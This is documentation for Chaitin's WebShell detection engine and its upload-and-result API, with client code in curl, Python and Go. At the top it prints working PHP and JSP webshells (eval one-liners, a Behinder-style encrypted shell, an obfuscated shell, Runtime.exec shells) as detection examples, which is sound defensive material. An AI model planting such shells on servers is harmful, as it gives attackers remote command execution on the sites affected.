WebShell
顾名思义,WebShell
是黑客用于控制网站服务器的文件,通常以 php
、jsp
、asp
、asp.net
等载体存在于服务器的网站目录下。
WebShell
以下是几个常见的 WebShell
样例
PHP 一句话木马
<?php
eval($_POST["pass"]);
?>
冰蝎 PHP WebShell
<?php
session_start();
if (isset($_GET['pass'])) {
$key = substr(md5(uniqid(rand())),16);
$_SESSION['k'] = $key;
print $key;
} else {
$key = $_SESSION['k'];
$post = file_get_contents("php://input");
if(!extension_loaded('openssl')) {
$t = "base64_"."decode";
$post = $t($post."");
for($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
} else {
$post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|',$post);
$func = $arr[0];
$params = $arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
带混淆的 PHP WebShell
<?php function iJG($BHM) {
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));?>
JSP 一句话木马
<%Runtime.getRuntime().exec(request.getParameter("pass"));%>
带回显的 JSP WebShell
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
百川 WebShell 检测系统是由长亭科技提供的 WebShell
在线检测引擎,是长亭牧云主机安全管理平台的底层文件检测引擎 guanshan
的集成项目。
长亭百川 WebShell
检测引擎支持检测 php
、jsp
、asp
文件类型,主要依赖了以下核心技术:
出现 WebShell 是非常严重的安全事件,代表网站已经被攻破,攻击者已经进入企业内网,管理员可按如下流程进行排查:
进入产品后,点击选择需要检测的文件上传,等待查看检查结果即可。
如需批量检测或调用 API 接口,可点击右上方按钮进行查看!
长亭 WebShell 检测系统支持对 Web 脚本的精细化检测,将 Web 脚本分为 5 个风险级别,参考如下:
风险级别 | 处置建议 |
---|---|
无风险 | 可直接作为正常业务文件处理 |
低危风险 | 存在敏感行为,但不会直接形成风险 |
中危风险 | 存在敏感行为,有可能形成风险 |
高危风险 | 带有绕过特征的 WebShell,或存在漏洞的业务脚本 |
严重风险 | 实锤 WebShell |
WebShell 检测的接口的地址是:
调用 WebShell 检测接口采用 HTTP Multipart/form-data
的请求格式,其中包含 2 个参数
参数名 | 参数说明 | 参数位置 | 格式 | 必填 |
---|---|---|---|---|
X-Ca-Token |
用于认证的 API Token | HTTP Header | 字符串 | 是 |
file |
需要上传做检测的文件,仅支持文件名后缀为jsp ,jspx 和php 文件 |
POST Body | 文件对象 | 是 |
通过以下步骤可以创建一个 HTTP API Token
:
空间管理
页面API Token
子菜单生成 API Token
按钮WebShell
检测权限生成 API Token
HTTP
的 X-Ca-Token
请求头中写入 API Token
即可生效最终发送的 HTTP 请求样例如下:
POST /api/v1/detect HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Go-http-client/1.1
Content-Length: 519
Content-Type: multipart/form-data; boundary=07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
X-Ca-Token: API_TOKEN
Accept-Encoding: gzip
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="file"; filename="/tmp/webshell.php"
Content-Type: application/octet-stream
<?php eval($_POST[x])?>
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2--
接口调用成功后,服务器将以 JSON 格式响应请求,响应内容可参考如下表格:
参数名 | 参数说明 | 格式 |
---|---|---|
code |
检测状态,0 代表成功 | 数字 |
message |
检测发生异常时的报错消息 | 字符串 |
data |
WebShell 检测结果 | JSON 对象 |
data.id |
随机生成的检测事件 ID | 字符串 |
服务端响应样例如下:
{
"code": 0,
"message": "",
"data": {
"id": "bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4",
}
}
检测之后需要调用接口获取 webshell 的检测结果,接口地址是:
获取检测结果包含一个参数
参数名 | 参数说明 | 参数位置 | 格式 | 必填 |
---|---|---|---|---|
X-Ca-Token |
用于认证的 API Token | HTTP Header | 字符串 | 是 |
id |
调用检测接口后返回的 ID | url query | 字符串 | 是 |
最终发送的 HTTP 请求样例如下:
GET /api/v1/detect/result?id=bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4 HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Go-http-client/1.1
X-Ca-Token: API_TOKEN
接口调用成功后,服务器将以 JSON 格式响应请求,响应内容可参考如下表格:
参数名 | 参数说明 | 格式 |
---|---|---|
code |
检测状态,0 代表成功 | 数字 |
message |
检测发生异常时的报错消息 | 字符串 |
data |
WebShell 检测结果 | JSON 对象 |
data.id |
事件 ID | 字符串 |
data.state |
事件状态 | 字符串枚举,可能值:running: 检测中,success: 检测成功,failed: 检测失败 |
data.sha256 |
上传文件的 sha256 | 字符串 |
data.md5 |
上传文件的 md5 | 字符串 |
data.name |
上传的文件名称 | 字符串 |
data.size |
上传的文件大小 | 字符串 |
data.webshell_type |
上传的文件类型 | 字符串枚举,可能值:php,jsp,jspx |
data.level |
webshell 风险等级 | 数字,为0表示无风险,数字越大风险等级越高 |
data.reason |
检测依据 | 字符串 |
data.solution |
处置方案建议 | 字符串 |
使用 curl
调用可以参考如下代码
// 检测 webshell
curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect'\
-H 'X-Ca-Token: API_TOKEN'\
-F 'file=@./webshell.php'
// 获取检测结果
curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect/result?id=bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4'\
-H 'X-Ca-Token: API_TOKEN'
使用 Python
调用可以参考如下代码
import requests
import json
token = "API_TOKEN"
detect_url = "https://guanshan.rivers.chaitin.cn/api/v1/detect"
result_url = "https://guanshan.rivers.chaitin.cn/api/v1/detect/result"
def detect(path):
req = requests.post(
detect_url,
files={
"file": open(path, 'rb')
},
headers={
"X-Ca-Token": token
},
verify=False
)
return req.json()
def result(result_id):
resp = requests.get(
result_url,
params={
"id": result_id
},
headers={
"X-Ca-Token": token
},
verify=False
)
return resp.json()
detect_reply = detect("./webshell.php")
print(detect_reply)
detect_result = result(detect_reply["data"]["id"])
print(detect_result)
使用 Golang
调用可以参考如下代码
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"errors"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/url"
"os"
"git.in.chaitin.net/dev/go/log"
)
const (
token = "API_TOKEN"
detectUrl = "https://guanshan.rivers.chaitin.cn/api/v1/detect"
resultUrl = "https://guanshan.rivers.chaitin.cn/api/v1/detect/result"
)
var client = &http.Client{Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}}
type DetectReply struct {
Code int `json:"code"`
Message string `json:"message"`
Data struct {
Id string `json:"id"`
} `json:"data"`
}
type ResultReply struct {
Code int `json:"code"`
Message string `json:"message"`
Data struct {
Id string `json:"id"`
State string `json:"state"`
Sha256 string `json:"sha256"`
MD5 string `json:"md5"`
Name string `json:"name"`
Size int64 `json:"size"`
WebshellType string `json:"webshell_type"`
Level int64 `json:"level"`
Reason string `json:"reason"`
Solution string `json:"solution"`
} `json:"data"`
}
func detect(path string) (*DetectReply, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
buf := new(bytes.Buffer)
writer := multipart.NewWriter(buf)
part, err := writer.CreateFormFile("file", path)
if err != nil {
return nil, err
}
_, err = io.Copy(part, file)
if err != nil {
return nil, err
}
err = writer.Close()
if err != nil {
return nil, err
}
req, err := http.NewRequest("POST", detectUrl, buf)
if err != nil {
return nil, err
}
req.Header.Add("X-Ca-Token", token)
req.Header.Add("Content-Type", writer.FormDataContentType())
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errors.New("resp status code error")
}
var reply DetectReply
err = json.NewDecoder(resp.Body).Decode(&reply)
if err != nil {
return nil, err
}
return &reply, nil
}
func result(id string) (*ResultReply, error) {
value := url.Values{}
value.Set("id", id)
req, err := http.NewRequest(http.MethodGet, fmt.Sprintf("%s?%s", resultUrl, value.Encode()), nil)
if err != nil {
return nil, err
}
req.Header.Add("X-Ca-Token", token)
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errors.New("resp status code error")
}
var reply ResultReply
err = json.NewDecoder(resp.Body).Decode(&reply)
if err != nil {
return nil, err
}
return &reply, nil
}
func main() {
detectReply, err := detect("/tmp/webshell.php")
if err != nil {
log.Fatal(err)
}
if detectReply.Code != 0 {
log.Fatal(detectReply.Message)
}
resultReply, err := result(detectReply.Data.Id)
if err != nil {
log.Fatal(err)
}
fmt.Println(resultReply)
}
长亭科技从 2017 年开始投入 WebShell
检测引擎研发,目前已经超过 6 年时间,先后尝试过文件情报、文本特征、机器学习、语义分析、污点追踪等多种技术方向,也尝试过开源项目、免费工具、企业级检测引擎、在线工具等多种项目形式,挖过坑、踩过坑,到现在终于能把效果做到逐渐令人满意,感谢 Cyrus
、araleiii
、phith0n
、maple
、D_infinite
等多位大佬在研发过程中的贡献,感谢 P 师傅给项目赐名 关山
。
欢迎兄弟姐妹们前来试用,欢迎甲方朋友使用本项目扫描自家的业务,欢迎乙方朋友将本项目集成到自己的项目中,行业同僚的信赖是一直以来都是长亭 WebShell
检测团队努力的动力。